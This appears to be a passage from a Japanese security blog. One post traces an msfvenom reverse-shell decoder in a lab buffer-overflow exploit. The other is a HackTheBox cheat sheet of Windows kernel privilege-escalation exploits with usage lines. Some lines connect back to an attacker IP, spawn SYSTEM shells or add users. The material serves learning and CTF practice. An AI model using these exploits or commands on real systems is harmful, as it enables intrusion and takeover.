FLD ST(1) FPU命令。デコード命令のアドレスを取得する際に必要。 FSTENV (28-BYTE) PTR SS:[ESP-C] [esp-0xc]のアドレスに、デコーダーの最初のFPU命令のアドレスを含む28bytes分を書き込む。 MOV ESI,BB356FCF ESIを"xor"する際の片方として使う。 POP EAX decode処理の先頭を指すアドレスをeaxに代入する。 XOR ECX,ECX ECX(カウンタ)を初期化。このあとのループ処理の時に使う。 MOV CL,52 ECXの下位1バイトに"0x52"を代入。つまり、0x52回ループする。 XOR DWORD PTR DS:[EAX+17],ESI [eax+17]=[0x0171fceb+17]=[0x0171fcfe]に、"xor"した値を書き込む! ADD ESI,DWORD PTR DS:[EAX+17] ESIにこの結果を保存する。 ADD EAX,4 (元OR DWORD PTR DS:[EDI]6B) eax+4しておくことで、次の[EAX+17]を"xor"で上書きする際に、次の4bytesにずらす LOOPD SHORT 0x71FCFB (元XLAT BYTE PTR DS:[EBX+AL]) 以降はECXが0になるまでループを繰り返す。
FLD ST(1) 実行後
FPU命令。デコード命令のアドレスを取得する際に必要。
この時のレジスタは以下。
この時のスタックの様子は以下。
FSTENV (28-BYTE) PTR SS:[ESP-C] 実行後
[esp-0xc]のアドレスに、デコーダーの最初のFPU命令のアドレスを含む28bytes分を書き込む。
この命令を機能させるための要件は、少なくとも1つのFPU命令がこの命令の前に実行されることである。
ここで、espの指すアドレスに0171FCEB
が代入されている。
これは、一つ前のFLD ST(1)
のアドレスであり、デコード処理部分の基準となるアドレスである。
また、espから16bytes分が"0000"や"FFFF"で上書きされていることに注意したい。ここでは、[esp-0xc]に28bytes書き込むので、残りの16bytes(28-0xc)が書き込まれている。
もしこの時、ESPがPayloadの先頭を指している場合は、用意したPayloadが"0000"や"FFFF"で上書きされてしまうため、エラーとなる。
こういう状況は、SEH overflowじゃなくてバニラBOFの場合(EIPをjmp espのアドレスに書き換えるやつ)に起きる。
そのため、この場合は必ず"\x90"*16
のnopスレッドが必要となる。
これはなぜ必要なのかわかりにくく忘れがちであるが、必須である。
例えば、今もしespが0x0171fceb
(Payloadの先頭)を指しているとするなら(実際は違うが)、
------------------------------------------------------- FSTENV (28-BYTE) PTR SS:[ESP-C] 実行前 D9C1 FLD ST(1) D97424F4 FSTENV (28-BYTE) PTR SS:[ESP-C] <- EIP BECF6F35BB MOV ESI,BB356FCF 58 POP EAX 31C9 XOR ECX,ECX B152 MOV CL,52 317017 XOR DWORD PTR DS:[EAX+17],ESI ----------------------------------------------------- FSTENV (28-BYTE) PTR SS:[ESP-C] 実行後 0000 FLD ST(1) 00000000 FSTENV (28-BYTE) PTR SS:[ESP-C] 0000000000 MOV ESI,BB356FCF <- EIP 上書きされたせいで意味不明な命令となった! 00 POP EAX プログラムは落ちる! FFFF XOR ECX,ECX 0000 MOV CL,52 <- ここまで(16bytes分)上書きされてしまう! 317017 XOR DWORD PTR DS:[EAX+17],ESI なお、必ず上のようなdecode処理となっているわけではなく多少の違いはあるため、16bytesでなくても、8bytesでもうまく行く場合もある。 今回の場合は最悪14bytes(10bytesか?どっちだ?)のnopの確保で何とかなりそう
このタイプのnopが必ず必要となるexploitの例として以下がある。どれも必ずNOPがshellcode直前に入っていることが確認できる。
https://qiita.com/v_avenger/items/fef9fa1eb92b4cf7a332
https://qiita.com/v_avenger/items/0af8602e4572889f9184
https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/buffer-overflow
参考
exploit - Why shell code only with nop slide working for me? - Reverse Engineering Stack Exchange
MOV ESI,BB356FCF 実行後
ESIを"xor"する際の片方として使う。ESIに代入される値と意味不明な命令の"xor"を取ると、意味のある命令となるようになっている。
この"BB356FCF"と"意味不明な命令"のペアは毎回msfvenomを呼び出すたびに変化する。また、どのレジスタを"xor"する際に使うかも毎回変わる。これがmsfvenomでPayloadを作るたびに内容が違う理由である。(仕組み自体は毎回同じ)
ESIに”BB356FCF”が書き込まれた。
POP EAX 実行後
decode処理の先頭を指すアドレスをeaxに代入する。
スタック上のdecode処理の先頭を指すアドレスがeaxに代入された。
espは4バイト下に移動。
XOR ECX,ECX 実行後
ECX(カウンタ)を初期化。このあとのループ処理の時に使う。
ECX(カウンタ)を初期化。
MOV CL,52 実行後
ECXの下位1バイトに"0x52"を代入。つまり、0x52回ループする。"4*0x52"バイトをdecodeするということ。
rax = 8bytes eax = 4bytes ax = 下位2bytes al = 下位1bytes ah = 下位2bytesのうちの上の1bytes(alの片方)
ECXの下位1バイトに"0x52"を代入。
XOR DWORD PTR DS:[EAX+17],ESI 実行後
[eax+17]=[0x0171fceb+17]=[0x0171fcfe]に、"xor"した値を書き込む!
OR
命令の3bytes(317017)がADD EAX,4
命令に変わっている!
XLAT
命令の1byte(D7)がLOOPD SHORT
命令に変わっている!
loopd
命令はECXカウンタが0になるまでループを繰り返す。ここでは、0x52回ループして、4bytesずつデコードしていく。
ADD ESI,DWORD PTR DS:[EAX+17] 実行後
ESIにこの結果を保存する。そして、次の4bytesの"意味不明な命令"と"xor"することで、"意味のある命令"にデコードする。
ESIにこの結果を保存する。
ADD EAX,4 実行後
eax+4しておくことで、次の[EAX+17]を"xor"で上書きする際に、次の4bytesにずらす
encoderによっては、ADD EAX,4
じゃなくてSUB EAX,-4
(マイナスに注意)が使われたりもする。
LOOPD SHORT 0x71FCFB 実行後
以降はECXが0になるまでループを繰り返す。
0x52回のループ後(完全にdecode後)
完全にデコードしたとき、以下のようになった。
見ての通り、元の意味不明だった命令が、ReverseShellの命令に置き換わっている。
デコード後はこれらの命令を実行して、ReverseShellを呼び出すことになる。
ReverseShellを実行するとこ
ここら辺はあんまりよくわかっていないが、大体以下の挙動をするっぽい。何か重要な抜けてる動作があれば教えてください。
ざっくりとした動作
kernel32.LoadLibraryA
Windowsで通信する際に使用する、"ws2_32.dll"をkernel32.dllに存在するLoadLiraryA関数でLoadする。WSASocketW関数を実行
LoadしたDLL内の関数を実行して通信する。この時点で、以下のように攻撃者に接続が返る。
root@kali:~/$ nc -lvp 4444 listening on [any] 4444 ... 192.168.56.6: inverse host lookup failed: Unknown host connect to [192.168.56.5] from (UNKNOWN) [192.168.56.6] 49160
kernel32.CreateProcessA
子プロセスを作成するkernel32.dllの関数を呼びだす。
ここでは、"cmd.exe"を子プロセスとして呼びだす。
これを呼び出すことで、以下のように攻撃者にcmdが返る。
root@kali:~/$ nc -lvp 4444 listening on [any] 4444 ... 192.168.56.6: inverse host lookup failed: Unknown host connect to [192.168.56.5] from (UNKNOWN) [192.168.56.6] 49160 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\IEUser\Downloads\vulnserver>
kernel32.WaitForSingleObject
この関数で攻撃者の入力を待機する。ReverseShellPayloadはこの関数の実行で終わる。(Debuggerで[Running]となる)
まとめ
今回はSEHベースのBoFを題材にデコードする処理を追ってみました。
こうして何をするのかを追うことで、バニラBOFの場合にmsfvenom Payloadの前に適切な数の"\x90"(NOP)が必要だということを理解できたと思います。
奥が深いですね。まだまだ分からないことだらけなので勉強していきたいです!
間違ってるとことかアドバイスがあればぜひ教えてください!
参考文献
Windows Kernel Exploit Cheat Sheet for [HackTheBox]
Windows Kernel Exploitsのチートシートです。
windows-exploit-suggester.pyとSherlock.ps1が検出するExploitの中で悪用できそうなものの数は30種類くらいだったので、これくらいならすべてを事前に調べられそう、ということで調べました。
コンパイル済みのバイナリがあるサイト、またはスクリプトを優先度付きでまとめました。
high,medium,lowの3段階で評価してますが、基準は適当です。バイナリが実際に動いたか、RDP接続が必要か、Metasploitがあるか、などが基準です。頻繁に変えてますので、あくまでも参考程度にしてください。
Usageとかの情報が判明してるのものは書いてますが、よくわからないやつはあんまり書けてないです。自分はそういうやつは優先順位を後回しにしてます。
HTBのWindowsのPEで詰まったらぜひ参考にしてみてください!
- Cheat Sheet
- Potato (high)
- MS09-012 (high)
- MS10_015 (high)
- MS10-047 (low)
- MS10-059 (high)
- MS10-073 (medium)
- MS10-092 (high)
- MS11-011 (medium)
- MS11-046 (high)
- MS11-062 (high)
- MS11-080 (high)
- MS13-005 (medium)
- MS13-053 (medium)
- MS13-081 (medium)
- MS14-002 (high)
- MS14-026 (low)
- MS14-040 (high)
- MS14_058 (high)
- MS14-068 (medium)
- MS14_070 (high)
- MS15_004 (medium)
- MS15-010 (meduim)
- MS15-051 (high)
- MS15-076 (medium)
- MS15-078 (meduim)
- MS15-102 (low)
- MS16-014 (high)
- MS16-016 (high)
- MS16-032 (high)
- MS16-034 (very low)
- MS16-075 (medium)
- MS16-098 (high)
- MS16-135 (high)
- 最後に
Cheat Sheet
Potato (high) MS09-012 (high) MS10_015 (high) MS10-047 (low) MS10-059 (high) MS10-073 (medium) MS10-092 (high) MS11-011 (medium) MS11-046 (high) MS11-062 (high) MS11-080 (high) MS13-005 (medium) MS13-053 (medium) MS13-081 (medium) MS14-002 (high) MS14-026 (low) MS14-040 (high) MS14_058 (high) MS14-068 (medium) MS14_070 (high) MS15_004 (medium) MS15-010 (meduim) MS15-051 (high) MS15-076 (medium) MS15-078 (meduim) MS15-102 (low) MS16-014 (high) MS16-016 (high) MS16-032 (high) MS16-034 (very low) MS16-075 (medium) MS16-098 (high) MS16-135 (high)
Potato (high)
affected version
not depend on OS version
exploit-db
not found
github
以下にJuicy Potatoの64bitのバイナリがある。
usage JuicyPotato.exe whoami
github.com
以下にRottenpotatoのバイナリがある。
usage rottenpotato.exe
で実行後、以下のサイトのようにTokenを使ってSYSTEMになる。
github.com
metasploit
more information
MS09-012 (high)
affected version
Microsoft Windows 2000 Service Pack 4 Windows XP Service Pack 2 および Windows XP Service Pack 3 Windows XP Professional x64 Edition および Windows XP Professional x64 Edition Service Pack 2 Windows Server 2003 Service Pack 1 および Windows Server 2003 Service Pack 2 Windows Server 2003 x64 Edition および Windows Server 2003 x64 Edition Service Pack 2 Windows Server 2003 with SP1 for Itanium-based Systems および Windows Server 2003 with SP2 for Itanium-based Systems Windows Vista および Windows Vista Service Pack 1 Windows Vista x64 Edition および Windows Vista x64 Edition Service Pack 1 Windows Server 2008 for 32-bit Systems Windows Server 2008 for x64-based Systems Windows Server 2008 for Itanium-based Systems
exploit-db
Microsoft Windows Server 2003 - Token Kidnapping Local Privilege Escalation
www.exploit-db.com
github
/xxoo/-->Usage: pr.exe command
usage churrasco.exe whoami
Chimichurri.exe
は未確認
github.com
Chimichurri.exe <my ip> 5555
github.com
metasploit
not found
more information
about Chimichurri.exe
medium.com
MS10_015 (high)
affected version
Windows Server 2003, Windows Server 2008, 7, XP Microsoft Windows 2000 Service Pack 4 Windows XP Service Pack 2 および Windows XP Service Pack 3 Windows XP Professional x64 Edition Service Pack 2 Windows Server 2003 Service Pack 2 Windows Server 2003 x64 Edition Service Pack 2 Windows Server 2003 with SP2 for Itanium-based Systems Windows Vista、Windows Vista Service Pack 1 および Windows Vista Service Pack 2 Windows Vista x64 Edition、Windows Vista x64 Edition Service Pack 1 および Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems および Windows Server 2008 for 32-bit Systems Service Pack 2* Windows Server 2008 for x64-based Systems および Windows Server 2008 for x64-based Systems Service Pack 2* Windows Server 2008 for Itanium-based Systems および Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems
not affected version
Windows 7 for x64-based Systems Windows Server 2008 R2 for x64-based Systems Windows Server 2008 R2 for Itanium-based Systems
This module will create a new session with SYSTEM privileges via the KiTrap0D exlpoit by Tavis Ormandy.
If the session is use is already elevated then the exploit will not run.
The module relies on kitrap0d.x86.dll, and is not supported on x64 editions of Windows.
exploit-db
Microsoft Windows NT/2000/2003/2008/XP/Vista/7 - 'KiTrap0D' User Mode to Ring Escalation (MS10-015)
www.exploit-db.com
github
not support x64
You need to use both vdmallowed.exe and vdmexploit.dll
spawn new SYSTEM window(need RDP??)
github.com
vdmallowed.exe
github.com
metasploit
exploit/windows/local/ms10_015_kitrap0d: The target service is running, but could not be validated. This module will create a new session with SYSTEM privileges via the KiTrap0D exploit by Tavis Ormandy. If the session in use is already elevated then the exploit will not run. The module relies on kitrap0d.x86.dll, and is not supported on x64 editions of Windows.
more information
MS10-047 (low)
affected version
Windows 7 for 32-bit Systems Windows 7 for x64-based Systems Windows Server 2008 for 32-bit Systems Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for Itanium-based Systems Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows Server 2008 for x64-based Systems Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 R2 for Itanium-based Systems Windows Server 2008 R2 for x64-based Systems Windows Vista Service Pack 1 Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 1 Windows Vista x64 Edition Service Pack 2 Windows XP Service Pack 3
not affected version
Windows XP Professional x64 Edition Service Pack 2 Windows Server 2003 Service Pack 2 Windows Server 2003 x64 Edition Service Pack 2 Windows Server 2003 with SP2 for Itanium-based Systems
exploit-db
Microsoft Windows - nt!SeObjectCreateSaclAccessBits() Missed ACE Bounds Checks (MS10-047)
www.exploit-db.com
Microsoft Windows - nt!NtCreateThread Race Condition with Invalid Code Segment (MS10-047)
www.exploit-db.com
github
no??
metasploit
not found
more information
MS10-059 (high)
affected version
Windows Vista Service Pack 1 および Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 1 および Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems および Windows Server 2008 for 32-bit Systems Service Pack 2* Windows Server 2008 for x64-based Systems および Windows Server 2008 for x64-based Systems Service Pack 2* Windows Server 2008 for Itanium-based Systems および Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems Windows 7 for x64-based Systems Windows Server 2008 R2 for x64-based Systems* Windows Server 2008 R2 for Itanium-based Systems
not affected version
Windows XP Service Pack 3 Windows XP Professional x64 Edition Service Pack 2 Windows Server 2003 Service Pack 2 Windows Server 2003 x64 Edition Service Pack 2 Windows Server 2003 with SP2 for Itanium-based Systems
[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
exploit-db
no??
github
MS10-059.exe
usage MS10-059.exe 10.10.14.20 4447 Churraskito.exe "C:\windows\system32\cmd.exe" "net user 123 123 /add"
metasploit
no
more information
MS10-073 (medium)
affected version
Windows XP Service Pack 3 Windows XP Professional x64 Edition Service Pack 2 Windows Server 2003 Service Pack 2 Windows Server 2003 x64 Edition Service Pack 2 Itaniumベースシステム用のWindows Server 2003 SP2 Windows Vista Service Pack 1およびWindows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 1およびWindows Vista x64 Edition Service Pack 2 32ビットシステム用のWindows Server 2008および32ビットシステム用のWindows Server 2008 Service Pack 2 * Windows Server 2008 for x64-based SystemsおよびWindows Server 2008 for x64-based Systems Service Pack 2 * Itaniumベースシステム用のWindows Server 2008およびItaniumベースシステム用のWindows Server 2008 Service Pack 2 32ビットシステム用のWindows 7 x64ベースシステム用のWindows 7 x64ベースシステム用のWindows Server 2008 R2 * Itaniumベースシステム用のWindows Server 2008 R2
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
exploit-db
Microsoft Win32k - Keyboard Layout (MS10-073)
can not compile
www.exploit-db.com
github
no??
metasploit
post/windows/escalate/ms10_073_kbdlayout 2010-10-12 normal Windows Escalate NtUserLoadKeyboardLayoutEx Privilege Escalation Description: This module exploits the keyboard layout vulnerability exploited by Stuxnet. When processing specially crafted keyboard layout files (DLLs), the Windows kernel fails to validate that an array index is within the bounds of the array. By loading a specially crafted keyboard layout, an attacker can execute code in Ring 0.
more information
using metasploit post module
www.youtube.com
MS10-092 (high)
affected version
Windows Vista Service Pack 1 and Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 1 and Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2* Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2* Windows Server 2008 for Itanium-based Systems and Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems Windows 7 for x64-based Systems Windows Server 2008 R2 for x64-based Systems* Windows Server 2008 R2 for Itanium-based Systems
not affected version
Windows XP Service Pack 3 Windows XP Professional x64 Edition Service Pack 2 Windows Server 2003 Service Pack 2 Windows Server 2003 x64 Edition Service Pack 2 Windows Server 2003 with SP2 for Itanium-based Systems
exploit-db
Microsoft Windows - Task Scheduler '.XML' Local Privilege Escalation (MS10-092) (Metasploit)
www.exploit-db.com
github
metasploit module
github.com
metasploit
exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable. This module exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet. When processing task files, the Windows Task Scheduler only uses a CRC32 checksum to validate that the file has not been tampered with. Also, In a default configuration, normal users can read and write the task files that they have created. By modifying the task file and creating a CRC32 collision, an attacker can execute arbitrary commands with SYSTEM privileges. NOTE: Thanks to webDEViL for the information about disable/enable.
more information
MS11-011 (medium)
affected version
Windows XP Service Pack 3 Windows XP Professional x64 Edition Service Pack 2 Windows Server 2003 Service Pack 2 Windows Server 2003 x64 Edition Service Pack 2 Windows Server 2003 with SP2 for Itanium-based Systems Windows Vista Service Pack 1 および Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 1 および Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems および Windows Server 2008 for 32-bit Systems Service Pack 2* Windows Server 2008 for x64-based Systems および Windows Server 2008 for x64-based Systems Service Pack 2* Windows Server 2008 for Itanium-based Systems および Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems Windows 7 for x64-based Systems Windows Server 2008 R2 for x64-based Systems* Windows Server 2008 R2 for Itanium-based Systems
not affected version
Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
exploit-db
Microsoft Windows XP - WmiTraceMessageVa Integer Truncation (PoC) (MS11-011)
seems DOS
www.exploit-db.com
github
MS11-011.exe
github.com
metasploit
not found
more information
MS11-046 (high)
affected version
# Vulnerable Software: # Windows XP SP3 x86 # Windows XP Pro SP2 x64 # Windows Server 2003 SP2 x86 # Windows Server 2003 SP2 x64 # Windows Server 2003 SP2 Itanium-based Systems # Windows Vista SP1 x86 # Windows Vista SP2 x86 # Windows Vista SP1 x64 # Windows Vista SP2 x64 # Windows Server 2008 x86 # Windows Server 2008 SP2 x86 # Windows Server 2008 x64 # Windows Server 2008 SP2 x64 # Windows Server 2008 Itanium-based Systems # Windows Server 2008 SP2 Itanium-based Systems # Windows 7 x86 # Windows 7 SP1 x86 # Windows 7 x64 # Windows 7 SP1 x64 # Windows Server 2008 R2 x64 # Windows Server 2008 R2 SP1 x64 # Windows Server 2008 R2 Itanium-based Systems # Windows Server 2008 R2 SP1 Itanium-based Systems # Supported Vulnerable Software: # Windows XP SP3 x86 # Windows Server 2003 SP2 x86 # Windows Vista SP1 x86 # Windows Vista SP2 x86 # Windows Server 2008 x86 # Windows Server 2008 SP2 x86 # Windows 7 x86 # Windows 7 SP1 x86 # Tested Software: # Windows XP Pro SP3 x86 EN [5.1.2600] # Windows Server 2003 Ent SP2 EN [5.2.3790] # Windows Vista Ult SP1 x86 EN [6.0.6001] # Windows Vista Ult SP2 x86 EN [6.0.6002] # Windows Server 2008 Dat SP1 x86 EN [6.0.6001] # Windows Server 2008 Ent SP2 x86 EN [6.0.6002] # Windows 7 HB x86 EN [6.1.7600] # Windows 7 Ent SP1 x86 EN [6.1.7601]
exploit-db
Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046)
compile with i686-w64-mingw32-gcc 40564.c -o 40564.exe -lws2_32
www.exploit-db.com
github
MS11_46_k8.exe, ms11-046.exe
spawn SYSTEM shell in current window
github.com
have ms11-046.exe
github.com
metasploit
no
more information
MS11-062 (high)
affected version
below
An elevation of privilege vulnerability exists in the NDISTAPI.sys component of the Remote Access Service NDISTAPI driver.The vulnerability is caused when the NDISTAPI driver improperly validates user-supplied input when passing data from user mode to the Windows kernel. An attacker must have valid logon credentials and be able to log on locally to exploit the vulnerability. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode (i.e. with NT AUTHORITY\SYSTEM privileges)
exploit-db
Microsoft Windows (x86) - 'NDISTAPI' Local Privilege Escalation (MS11-062)
# Vulnerable Software: # Windows XP SP3 x86 # Windows XP Pro SP2 x64 # Windows Server 2003 SP2 x86 # Windows Server 2003 SP2 x64 # Windows Server 2003 SP2 Itanium-based Systems # Supported Vulnerable Software: # Windows XP SP3 x86 # Windows Server 2003 SP2 x86 # Tested Software: # Windows XP Pro SP3 x86 EN [5.1.2600] # Windows Server 2003 Ent SP2 EN [5.2.3790]
github
40627.exe, MS11-062.exe
spawn SYSTEM shell in current window
github.com
metasploit
no
more information
MS11-080 (high)
affected version
Windows XP Service Pack 3 Windows XP Professional x64 Edition Service Pack 2 Windows Server 2003 Service Pack 2 Windows Server 2003 x64 Edition Service Pack 2 Windows Server 2003 with SP2 for Itanium-based Systems
not affected version
Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems および Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems および Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems および Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for Itanium-based Systems および Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
This module exploits a flaw in the AfdJoinLeaf function of the afd. sys driver to overwrite data in kernel space. An address within the HalDispatchTable is overwritten and when triggered with a call to NtQueryIntervalProfile will execute shellcode. This module will elevate itself to SYSTEM, then inject the payload into another SYSTEM process before restoring it's own token to avoid causing system instability.
exploit-db
Microsoft Windows XP/2003 - 'afd.sys' Local Privilege Escalation (MS11-080)
www.exploit-db.com
Microsoft Windows - 'AfdJoinLeaf' Local Privilege Escalation (MS11-080) (Metasploit)
www.exploit-db.com
github
CVE-2011-2005.py MS11_80_k8.exe ms11-080-AddUser.exe ms11-080.exe
add User and spawn in current window
github.com
have ms11-080.py ms11-080.exe
github.com
metasploit
exploit/windows/local/ms11_080_afdjoinleaf 2011-11-30 average MS11-080 AfdJoinLeaf Privilege Escalation
more information
MS13-005 (medium)
affected version
Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for Itanium-based Systems Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 Windows 8 for 32-bit Systems Windows 8 for 64-bit Systems Windows Server 2012 Windows RT Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 R2 for x64-based Systems Windows Server 2008 R2 for x64-based Systems Service Pack 1
not affected version
Microsoft Windows XP Service Pack 3 Microsoft Windows XP Professional x64 Edition Service Pack 2 Microsoft Windows Server 2003 Service Pack 2 Microsoft Windows Server 2003 x64 Edition Service Pack 2 Microsoft Windows Server 2003 for Itanium-based Systems Service Pack 2
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important Due to a problem with isolating window broadcast messages in the Windows kernel, an attacker can broadcast commands from a lower Integrity Level process to a higher Integrity Level process, thereby effecting a privilege escalation. This issue affects Windows Vista, 7, 8, Server 2008, Server 2008 R2, Server 2012, and RT. Note that spawning a command prompt with the shortcut key combination Win+Shift+# does not work in Vista, so the attacker will have to check if the user is already running a command prompt and set SPAWN_PROMPT false. Three exploit techniques are available with this module. The WEB technique will execute a powershell encoded payload from a Web location. The FILE technique will drop an executable to the file system, set it to medium integrity and execute it. The TYPE technique will attempt to execute a powershell encoded payload directly from the command line, but may take some time to complete.
exploit-db
Microsoft Windows - HWND_BROADCAST (PoC) (MS13-005)
seems DOS
cannot compile
www.exploit-db.com
github
metasploit
exploit/windows/local/ms13_005_hwnd_broadcast 2012-11-27 excellent MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation
more information
MS13-053 (medium)
affected version
Windows XP Service Pack 3 Windows XP Professional x64 Edition Service Pack 2 Windows Server 2003 Service Pack 2 Windows Server 2003 x64 Edition Service Pack 2 Windows Server 2003 with SP2 for Itanium-based Systems Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 Windows 8 for 32-bit Systems Windows 8 for 64-bit Systems Windows Server 2012 Windows RT[1] (2850851)
NTUserMessageCall Win32k Kernel Pool Overflow win32k.sys in the kernel-mode drivers in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, and Windows 7 SP1 does not properly handle objects in memory, which allows local users to gain privileges via a crafted application, aka "Win32k Information Disclosure Vulnerability."
exploit-db
Microsoft Windows - NTUserMessageCall Win32k Kernel Pool Overflow 'schlamperei.x86.dll' (MS13-053) (Metasploit)
www.exploit-db.com
github
MS13-053.exe
spawn a SYSTEM shell in new window
github.com
metasploit
exploit/windows/local/ms13_053_schlamperei 2013-12-01 average Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)
more information
MS13-081 (medium)
affected version
Windows XP Service Pack 3 Windows XP Professional x64 Edition Service Pack 2 Windows Server 2003 Service Pack 2 Windows Server 2003 x64 Edition Service Pack 2 Windows Server 2003 with SP2 for Itanium-based Systems Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 Windows 8 for 32-bit Systems Windows 8 for 64-bit Systems Windows Server 2012 Windows RT Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2012 (Server Core installation)
not affected version
Windows 8.1 for 32-bit Systems Windows 8.1 for 64-bit Systems Windows Server 2012 R2 Windows Server 2012 R2 (Server Core installation) Windows RT 8.1
MS13-081 : TrackPopupMenuEx Win32k NULL Page This module exploits a vulnerability in win32k.sys where under specific conditions TrackPopupMenuEx will pass a NULL pointer to the MNEndMenuState procedure. This module has been tested successfully on Windows 7 SP0 and Windows 7 SP1.
successfully on Windows 7 SP0 and Windows 7 SP1.
exploit-db
Microsoft Windows - TrackPopupMenuEx Win32k NULL Page (MS13-081) (Metasploit)
www.exploit-db.com
github
no??
metasploit
exploit/windows/local/ms13_081_track_popup_menu 2013-10-08 average Windows TrackPopupMenuEx Win32k NULL Page
more information
MS14-002 (high)
affected version
Windows XP Service Pack 3 Windows XP Professional x64 Edition Service Pack 2 Windows Server 2003 Service Pack 2 Windows Server 2003 x64 Edition Service Pack 2 Windows Server 2003 with SP2 for Itanium-based Systems
not support
Windows Vista Service Pack 2 Windows Vista x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 Windows 8 for 32-bit Systems Windows 8 for x64-based Systems Windows 8.1 for 32-bit Systems Windows 8.1 for x64-based Systems Windows Server 2012 Windows Server 2012 R2 Windows RT Windows RT 8.1 Server Core インストール オプション Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core インストール) Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core インストール) Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core インストール) Windows Server 2012 R2 (Server Core インストール) Windows Server 2012 (Server Core インストール)
This module exploits a flaw in the ndproxy. sys driver on Windows XP SP3 and Windows 2003 SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used to access an array unsafely, and the value is used to perform a call, leading to a NULL pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to work the service "Routing and Remote Access" must be running on the target system.
exploit-db
Microsoft Windows - 'NDPROXY' SYSTEM Privilege Escalation (MS14-002)
# Tested on Windows XP SP3
www.exploit-db.com
Microsoft Windows XP SP3 (x86) / 2003 SP2 (x86) - 'NDProxy' Local Privilege Escalation (MS14-002)
